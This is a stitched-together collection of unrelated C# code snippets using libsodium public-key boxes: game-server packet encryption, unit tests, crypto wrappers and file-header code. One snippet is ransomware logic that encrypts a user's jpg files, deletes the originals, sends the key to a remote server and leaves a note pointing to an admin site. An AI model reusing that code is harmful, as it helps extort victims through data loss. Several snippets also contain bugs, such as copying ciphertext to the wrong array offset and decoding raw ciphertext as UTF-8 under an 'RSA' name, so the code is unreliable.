public static void EncryptPacket(Socket _Socket, ServerState _State, int _PacketID, int unknown, byte[] plainText) { byte[] cipherText; if (_PacketID == 20100) { cipherText = plainText; } else if (_PacketID == 20103) { byte[] nonce = GenericHash.Hash(_State.clientState.nonce.Concat(_State.clientKey).Concat(_State.serverKey.PublicKey).ToArray(), null, 24); plainText = _State.nonce.Concat(_State.sharedKey).Concat(plainText).ToArray(); cipherText = PublicKeyBox.Create(plainText, nonce, _State.serverKey.PrivateKey, _State.clientKey); } else if (_PacketID == 20104) { byte[] nonce = GenericHash.Hash(_State.clientState.nonce.Concat(_State.clientKey).Concat(_State.serverKey.PublicKey).ToArray(), null, 24); plainText = _State.nonce.Concat(_State.sharedKey).Concat(plainText).ToArray(); cipherText = PublicKeyBox.Create(plainText, nonce, _State.serverKey.PrivateKey, _State.clientKey); } else { cipherText = SecretBox.Create(plainText, _State.nonce, _State.sharedKey).Skip(16).ToArray(); } byte[] packet = BitConverter.GetBytes(_PacketID).Reverse().Skip(2).Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2)).Concat(cipherText).ToArray(); _Socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, _State); }
public static Dictionary <string, string> Encrypt(string message, string secretKey, string publicKey) { byte[] nonce = GenerateNonce(); byte[] secret_bytes; byte[] public_bytes; if (!Utils.IsBase64(secretKey)) { secret_bytes = Encoding.ASCII.GetBytes(secretKey); } else { secret_bytes = Convert.FromBase64String(secretKey); } if (!Utils.IsBase64(publicKey)) { public_bytes = Encoding.ASCII.GetBytes(publicKey); } else { public_bytes = Convert.FromBase64String(publicKey); } var crypt = PublicKeyBox.Create(message, nonce, secret_bytes, public_bytes); return(new Dictionary <string, string>() { { "nonce", Convert.ToBase64String(nonce) }, { "crypt", Convert.ToBase64String(crypt) } }); }
public void Encrypt(byte[] plainText) { try { if (this.GetMessageType() == 20103) { byte[] nonce = GenericHash.Hash(this.Client.CSNonce.Concat(this.Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray <byte>(), null, 24); plainText = this.Client.CRNonce.Concat(this.Client.CSharedKey).Concat(plainText).ToArray <byte>(); this.SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, this.Client.CPublicKey)); } else if (this.GetMessageType() == 20104) { byte[] nonce2 = GenericHash.Hash(this.Client.CSNonce.Concat(this.Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray <byte>(), null, 24); plainText = this.Client.CRNonce.Concat(this.Client.CSharedKey).Concat(plainText).ToArray <byte>(); this.SetData(PublicKeyBox.Create(plainText, nonce2, Key.Crypto.PrivateKey, this.Client.CPublicKey)); this.Client.CState = 2; } else { this.Client.CRNonce = Sodium.Utilities.Increment(Sodium.Utilities.Increment(this.Client.CRNonce)); this.SetData(SecretBox.Create(plainText, this.Client.CRNonce, this.Client.CSharedKey).Skip(16).ToArray <byte>()); } } catch (Exception) { this.Client.CState = 0; } }
public void Encrypt(byte[] plainText) { try { if (GetMessageType() == 20103) { byte[] nonce = GenericHash.Hash(Client.CSNonce.Concat(Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray(), null, 24); plainText = Client.CRNonce.Concat(Client.CSharedKey).Concat(plainText).ToArray(); SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, Client.CPublicKey)); } else if (GetMessageType() == 20104) { byte[] nonce = GenericHash.Hash(Client.CSNonce.Concat(Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray(), null, 24); plainText = Client.CRNonce.Concat(Client.CSharedKey).Concat(plainText).ToArray(); SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, Client.CPublicKey)); Client.CState = 2; } else { Client.CRNonce = Utilities.Increment(Utilities.Increment(Client.CRNonce)); SetData(SecretBox.Create(plainText, Client.CRNonce, Client.CSharedKey).Skip(16).ToArray()); } } catch (Exception ex) { Client.CState = 0; } }
public static void EncryptPacket(Socket socket, ServerState state, int messageId, int unknown, byte[] plainText) { byte[] cipherText; if (messageId == 20100) { cipherText = plainText; } else if (messageId == 20104) { var nonce = GenericHash.Hash( state.clientState.nonce.Concat(state.clientKey).Concat(state.serverKey.PublicKey).ToArray(), null, 24); plainText = state.nonce.Concat(state.sharedKey).Concat(plainText).ToArray(); cipherText = PublicKeyBox.Create(plainText, nonce, state.serverKey.PrivateKey, state.clientKey); } else { cipherText = SecretBox.Create(plainText, state.nonce, state.sharedKey).Skip(16).ToArray(); } var packet = BitConverter.GetBytes(messageId) .Reverse() .Skip(2) .Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)) .Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2)) .Concat(cipherText) .ToArray(); socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, state); }
public void PublicKeyBoxCreateWithBadNonce() { PublicKeyBox.Create( Encoding.UTF8.GetBytes("Adam Caudill"), Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVX"), Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"), Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645")); }
public static string[] RSAEncryption(string publicKey, string privateKey, string plainText) { var encodedPrivateKey = Encoding.UTF8.GetBytes(privateKey); var encodedPublicKey = Encoding.UTF8.GetBytes(publicKey); var nonce = PublicKeyBox.GenerateNonce(); var cipherText = PublicKeyBox.Create(plainText, nonce, encodedPrivateKey, encodedPublicKey); return(new[] { Encoding.UTF8.GetString(cipherText), Encoding.UTF8.GetString(nonce) }); }
private string Encrypt(string plainText, string recipientsPublicKey, byte[] nonce) { byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); byte[] rpkBytes = Convert.FromBase64String(recipientsPublicKey); byte[] cipherBytes = PublicKeyBox.Create(plainBytes, nonce, privateKey, rpkBytes); string cipherString = Convert.ToBase64String(cipherBytes); return(cipherString); }
private static void Main() { // files to search for var searchPattern = new[] { "jpg" }; try { var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); // we encrypt the ephemeral private key for the target public key var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey, Utilities.HexToBinary(TargetPublicKeyHex)); var textToSendRemote = Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher)); var textToShowTheUser = string.Format( "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).", Utilities.BinaryToHex(ephemeralKeyPair.PublicKey)); cipher = null; nonce = null; var files = GetFiles(MainFolder, searchPattern); if (files.Count > ParallelUseBorder) { Parallel.ForEach(files, file => { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); }); } else { foreach (var file in files) { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); } } ephemeralKeyPair.Dispose(); SendToRemoteServer(textToSendRemote); CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser); } catch { /* */ } }
public static byte[] Encrypt(byte[] message, byte[] yourPrivateKey, byte[] theirPublicKey) { var nonce = PublicKeyBox.GenerateNonce(); var cipher = PublicKeyBox.Create(message, nonce, yourPrivateKey, theirPublicKey); var output = new byte[nonce.Length + cipher.Length]; nonce.CopyTo(output, 0); cipher.CopyTo(output, cipher.Length); return(output); }
public void PublicKeyBoxCreateWithBadNonce() { var message = Encoding.UTF8.GetBytes("Adam Caudill"); var nonce = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVX"); var bobSk = Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"); var alicePk = Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645"); Assert.Throws <NonceOutOfRangeException>( () => PublicKeyBox.Create(message, nonce, bobSk, alicePk)); }
public static byte[] Encrypt(string message, KeyPair keypair) { var nonce = PublicKeyBox.GenerateNonce(); var cipher = PublicKeyBox.Create(message, nonce, keypair.PrivateKey, keypair.PublicKey); var output = new byte[nonce.Length + cipher.Length]; nonce.CopyTo(output, 0); cipher.CopyTo(output, cipher.Length); return(output); }
public void SimpleCreateTest() { var expected = Utilities.HexToBinary("aed04284c55860ad0f6379f235cc2cb8c32aba7a811b35cfac94f64d"); var actual = PublicKeyBox.Create( Encoding.UTF8.GetBytes("Adam Caudill"), Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"), Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"), Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645")); CollectionAssert.AreEqual(expected, actual); }
public string Encrypt(string text, MAEUserSession user) { var encrypted = string.Empty; var bytes = Encoding.UTF8.GetBytes(text); var eBytes = PublicKeyBox.Create(bytes, Convert.FromBase64String(user.Nonce), Convert.FromBase64String(user.ClientSecret), Convert.FromBase64String(user.ServerPublic)); encrypted = Convert.ToBase64String(eBytes); return(encrypted); }
/// <summary> /// Encrypts and packs the packet for sending down the wire. /// </summary> /// <returns>The packet.</returns> /// <param name="sk">Local (sender) secret key.</param> /// <param name="pk">Remote (recipent) public key</param> public byte[] EncryptPacket(byte[] sk, byte[] pk) { byte[] header = this.PackHeader(); //seq + ack + id + payload MemoryStream rpcRaw = new MemoryStream(); if (this.HasRPC) { if (this.RPCs.Count > 0) { rpcRaw.WriteByte((byte)RPCType.RPCStart); foreach (IHasSerializationTag rpc in this.RPCs) { byte[] curRpcBytes = rpc.Serialize(); rpcRaw.WriteByte(rpc.SerializationTag); rpcRaw.Write(curRpcBytes, 0, curRpcBytes.Length); } rpcRaw.WriteByte((byte)RPCType.RPCEnd); } } rpcRaw.Close(); byte[] rpcBytes = rpcRaw.ToArray(); int totalLength = 4 + 4 + 4; if (rpcBytes.Length > 0) { totalLength += rpcBytes.Length; } totalLength++; totalLength += this.Payload.Length; byte[] encryptedPart = new byte[totalLength]; uint index = 0; PackingHelpers.PackUint32(Seq, encryptedPart, ref index); PackingHelpers.PackUint32(Ack, encryptedPart, ref index); PackingHelpers.PackUint32(CID, encryptedPart, ref index); if (rpcBytes.Length > 0) { Array.Copy(rpcBytes, 0, encryptedPart, index, rpcBytes.Length); index += (uint)rpcBytes.Length; } //start message flag. encryptedPart[index] = START_PAYLOAD_FLAG; ++index; Array.Copy(this.Payload, 0, encryptedPart, index, this.Payload.Length); byte[] ciphered = PublicKeyBox.Create(encryptedPart, this.Nonce, sk, pk); this.CipherText = ciphered; byte[] ret = new byte[header.Length + ciphered.Length]; Array.Copy(header, ret, header.Length); Array.Copy(ciphered, 0, ret, header.Length, ciphered.Length); this.rawBytes = ret; return(ret); }
/// <summary> /// Locks Data /// /// Primitive: X25519 + XSalsa20 + Poly1305 MAC (libsodium crypto_box) /// </summary> /// <param name="str">The Data to lock</param> /// <returns>The locked Data</returns> /// /// <example> /// <code> /// var TEST_STRING = "eine kuh macht muh, viele kühe machen mühe" /// // Create a new Symmertic Key /// var key = new Key(); /// // Create a locker with this key /// var locker = new SecretLocker(key); /// // Encrypt the bytes /// var ciphertext = locker.Lock(TEST_STRING); /// // Decrypt the bytes /// var plaintext = locker.UnlockBytes(ciphertext); /// // Clear Keys /// locker.Clear(); /// </code> /// </example> public ISharedLocked Lock(byte[] data) { if (data == null || data.Length == 0) { throw new ArgumentNullException(nameof(data)); } var nonce = new Nonce(PublicKeyBox.GenerateNonce()); var encrypted = PublicKeyBox.Create(data, nonce.Bytes, secretKey: privateKey.Bytes, publicKey: publickKey.Bytes); return(new SharedLocked(encrypted, nonce)); }
public void CreateAndOpenWithOneKeyTest() { var kp = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); byte[] message = System.Text.Encoding.UTF8.GetBytes("Hello, World!"); var encrypted = PublicKeyBox.Create(message, nonce, kp.Secret, kp.Public); var decrypted = PublicKeyBox.Open(encrypted, nonce, kp.Secret, kp.Public); Assert.AreEqual(decrypted.ToString(), message.ToString()); }
public void PublicKeyBoxCreateWithBadPrivateKey() { var bobSk = new byte[] { 0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b, 0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6, 0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd, 0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88 }; PublicKeyBox.Create( Encoding.UTF8.GetBytes("Adam Caudill"), Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"), bobSk, Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645")); }
private void SendData(byte[] encodedData) { var nonce = PublicKeyBox.GenerateNonce(); var encrypted = PublicKeyBox.Create(encodedData, nonce, localKeyPair.PrivateKey, remotePublicKey); var packet = Encoding.ASCII.GetBytes("Aud") .Concat(sessionID) .Concat(BitConverter.GetBytes(seq)) .Concat(nonce) .Concat(encrypted) .ToArray(); seq++; client.Send(packet, packet.Length); }
public void PublicKeyBoxCreateWithBadPublicKey() { var bobPk = new byte[] { 0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b, 0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6, 0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd, 0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88 }; PublicKeyBox.Create( Encoding.UTF8.GetBytes("Adam Caudill"), Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"), Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"), bobPk); }
public void PublicKeyBoxCreateWithBadPrivateKey() { var bobSk = new byte[] { 0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b, 0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6, 0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd, 0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88 }; var message = Encoding.UTF8.GetBytes("Adam Caudill"); var nonce = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"); var alicePk = Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645"); Assert.Throws <KeyOutOfRangeException>( () => PublicKeyBox.Create(message, nonce, bobSk, alicePk)); }
public void PublicKeyBoxCreateWithBadPublicKey() { var bobPk = new byte[] { 0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b, 0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6, 0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd, 0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88 }; var message = Encoding.UTF8.GetBytes("Adam Caudill"); var nonce = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"); var aliceSk = Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"); Assert.Throws <KeyOutOfRangeException>( () => PublicKeyBox.Create(message, nonce, aliceSk, bobPk)); }
public override void ServerSend(int connectionId, int channelId, ArraySegment <byte> segment) { if (_serverSessions.ContainsKey(connectionId)) { int pos = 0; _clientSendBuffer.WriteByte(ref pos, (byte)OpCodes.Data); _writeBuffer = new byte[segment.Count]; Buffer.BlockCopy(segment.Array, segment.Offset, _writeBuffer, 0, segment.Count); _nonce = PublicKeyBox.GenerateNonce(); _clientSendBuffer.WriteBytes(ref pos, PublicKeyBox.Create(_writeBuffer, _nonce, _keyPair.PrivateKey, _serverSessions[connectionId])); _clientSendBuffer.WriteBytes(ref pos, _nonce); CommunicationTransport.ServerSend(connectionId, channelId, new ArraySegment <byte>(_clientSendBuffer, 0, pos)); } }
public static byte[] Encrypt(byte[] message, byte[] privateKey, byte[] publicKey) { var nonce = GenerateNonce(); var cipherText = PublicKeyBox.Create(message, nonce, privateKey, publicKey); var record = new byte[25 + cipherText.Length]; record[0] = VERSION; var offset = 1; Buffer.BlockCopy(nonce, 0, record, offset, NONCE_SIZE_BYTES); offset += NONCE_SIZE_BYTES; Buffer.BlockCopy(cipherText, 0, record, offset, cipherText.Length); return(record); }
/// <summary> /// Initialize the EncryptedFileHeader for encryption. /// </summary> /// <param name="currentVersion">The StreamCryptor version.</param> /// <param name="nonceLength">The length which nonces will be generated.</param> /// <param name="chunkBaseNonceLength">The length of the base nonce.</param> /// <param name="unencryptedFileLength">The length of unencrypted file.</param> /// <param name="senderPrivateKey">The senders private key.</param> /// <param name="senderPublicKey">The senders public key.</param> /// <param name="recipientPublicKey">The recipient public key.</param> public EncryptedFileHeader(int currentVersion, int nonceLength, int chunkBaseNonceLength, long unencryptedFileLength, byte[] senderPrivateKey, byte[] senderPublicKey, byte[] recipientPublicKey) { //set the version Version = currentVersion; //get some ephemeral key fot this file UnencryptedEphemeralKey = SodiumCore.GetRandomBytes(64); //generate a nonce for the encrypted ephemeral key EphemeralNonce = SodiumCore.GetRandomBytes(nonceLength); //generate a nonce for encypting the file name FilenameNonce = SodiumCore.GetRandomBytes(nonceLength); //encrypt the ephemeral key with our public box Key = PublicKeyBox.Create(UnencryptedEphemeralKey, EphemeralNonce, senderPrivateKey, recipientPublicKey); //set the senders public key to the header, to guarantee the recipient can decrypt it SenderPublicKey = senderPublicKey; //a random base nonce (16 byte), which will be filled up to 24 byte in every chunk BaseNonce = SodiumCore.GetRandomBytes(chunkBaseNonceLength); //set unencrypted file length to the file header UnencryptedFileLength = unencryptedFileLength; }
public static void EncryptPacket(ClientState state, int ID, int version, byte[] plainText) { byte[] cipherText; switch (ID) { case 10100: { cipherText = plainText; break; } case 10101: { var nonce = GenericHash.Hash(state.ClientKey.PublicKey.Concat(state.ServerKey).ToArray(), null, 24); plainText = state.ServerState.SessionKey.Concat(state.Nonce).Concat(plainText).ToArray(); cipherText = PublicKeyBox.Create(plainText, nonce, state.ClientKey.PrivateKey, state.ServerKey); cipherText = state.ClientKey.PublicKey.Concat(cipherText).ToArray(); break; } default: { cipherText = SecretBox.Create(plainText, state.Nonce, state.ServerState.SharedKey).Skip(16) .ToArray(); break; } } var packet = BitConverter.GetBytes(ID).Reverse().Skip(2) .Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)) .Concat(BitConverter.GetBytes(version).Reverse().Skip(2)).Concat(cipherText).ToArray(); state.Socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, state); }
public void CreateAndOpenWithKeyExchangeTest() { var alice = PublicKeyBox.GenerateKeyPair(); var bob = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); String message = "Hello, World!"; byte[] byteMessage = System.Text.Encoding.UTF8.GetBytes(message); var encrypted = PublicKeyBox.Create(byteMessage, nonce, alice.Secret, bob.Public); var decrypted = PublicKeyBox.Open(encrypted, nonce, bob.Secret, alice.Public); Assert.AreEqual(decrypted.ToString(), byteMessage.ToString()); var newEncrypted = PublicKeyBox.Create(message, nonce, alice.Secret, bob.Public); Assert.AreEqual(Convert.ToBase64String(encrypted), Convert.ToBase64String(newEncrypted)); var newDecrypted = PublicKeyBox.Open(newEncrypted, nonce, bob.Secret, alice.Public); Assert.AreEqual(decrypted.ToString(), newDecrypted.ToString()); }
public static void EncryptPacket(Socket socket, ServerState state, int messageId, int unknown, byte[] plainText) { byte[] cipherText; if (messageId == 20100 || (messageId == 20103 && state.sharedKey == null)) { cipherText = plainText; } else if (messageId == 20103 || messageId == 20104) { byte[] nonce = GenericHash.Hash(state.clientState.nonce.Concat(state.clientKey).Concat(state.serverKey.PublicKey).ToArray(), null, 24); plainText = state.nonce.Concat(state.sharedKey).Concat(plainText).ToArray(); cipherText = PublicKeyBox.Create(plainText, nonce, state.serverKey.PrivateKey, state.clientKey); } else { // nonce was already incremented in ClientCrypto.DecryptPacket cipherText = SecretBox.Create(plainText, state.nonce, state.sharedKey).Skip(16).ToArray(); } byte[] packet = BitConverter.GetBytes(messageId).Reverse().Skip(2).Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2)).Concat(cipherText).ToArray(); socket.BeginSend(packet, 0, packet.Length, 0, new AsyncCallback(SendCallback), state); }
public static byte[] Encrypt(byte[] Payload, int Id, int Version, KeyPair keyPair) { if (!Form1.Config.UseRC4) { switch (Id) { case 10100: encryptedPayload = Payload; break; case 10101: ClientConfig.Nonce = GenericHash.Hash(keyPair.PublicKey.Concat(Keys.ServerKey).ToArray(), null, 24); ClientConfig.SNonce = Utils.GenerateRandomBytes(24); Payload = ClientConfig.SessionKey.Concat(ClientConfig.SNonce).Concat(Payload).ToArray(); encryptedPayload = PublicKeyBox.Create(Payload, ClientConfig.Nonce, keyPair.PrivateKey, Keys.ServerKey); encryptedPayload = keyPair.PublicKey.Concat(encryptedPayload).ToArray(); Console.WriteLine(BitConverter.ToString(ClientConfig.Nonce).Replace("-", "")); Console.WriteLine(BitConverter.ToString(ClientConfig.SNonce).Replace("-", "")); Console.WriteLine(BitConverter.ToString(ClientConfig.SessionKey).Replace("-", "")); break; default: ClientConfig.SNonce = Utilities.Increment(Utilities.Increment(ClientConfig.SNonce)); encryptedPayload = SecretBox.Create(Payload, ClientConfig.SNonce, ClientConfig.SharedKey); Console.WriteLine($"Encrypted ID: {Id} with Nonce: {BitConverter.ToString(ClientConfig.SNonce).Replace("-", "")}"); break; } } else if (Form1.Config.UseRC4) { encryptedPayload = RC4.Encrypt(Payload); } else { } byte[] packet = BitConverter.GetBytes(Id).Reverse().Skip(2).Concat(BitConverter.GetBytes(encryptedPayload.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(Version).Reverse().Skip(2)).Concat(encryptedPayload).ToArray(); return(packet); }
public static byte[] EncryptMessage(byte[] message, string toId) { //generate an ephemeral key to encrypt this with var key = PublicKeyBox.GenerateKeyPair(); //decode the recip ID var recip = Base58Check.Base58CheckEncoding.Decode(toId); //Check to make sure that the ID version is supported if (recip[0] != ID_VERSION) { throw new CryptographicException("Invalid ID Format."); } var nonce = SodiumCore.GetRandomBytes(24); var encrypted = PublicKeyBox.Create(message, nonce, key.PrivateKey, ArrayHelpers.SubArray(recip, 1)); var recipVerifier = GenericHash.Hash(ArrayHelpers.ConcatArrays(nonce, key.PublicKey), null, 16); var version = new byte[] { 0x00 }; var final = ArrayHelpers.ConcatArrays(version, nonce, key.PublicKey, recipVerifier, encrypted); return(final); }